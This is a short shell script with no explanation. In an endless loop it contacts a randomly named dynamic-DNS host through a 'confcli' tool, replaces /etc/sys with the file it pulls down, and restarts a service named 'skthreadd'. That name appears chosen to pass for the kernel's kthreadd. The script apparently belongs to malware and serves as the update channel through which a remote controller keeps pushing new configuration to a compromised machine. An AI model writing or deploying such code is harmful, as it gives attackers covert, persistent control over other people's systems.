#!/bin/sh
DYNCONF=/etc/sys
TMPCONF=/tmp/sys

while [ 1 ];do
	confcli rbdg4nzqadui.dynamic-dns.net
	while [ "$?" != "0" ];do
		 sleep 10
		 confcli rbdg4nzqadui.dynamic-dns.net
	done

	dynconf_md5sum=$(md5sum $DYNCONF | awk '{print $1}')
	tmpconf_md5sum=$(md5sum $TMPCONF | awk '{print $1}')

	if [ "$dynconf_md5sum" != "$tmpconf_md5sum" ];then
		mv $TMPCONF $DYNCONF
		/etc/init.d/skthreadd restart
	fi
	sleep 3600
done
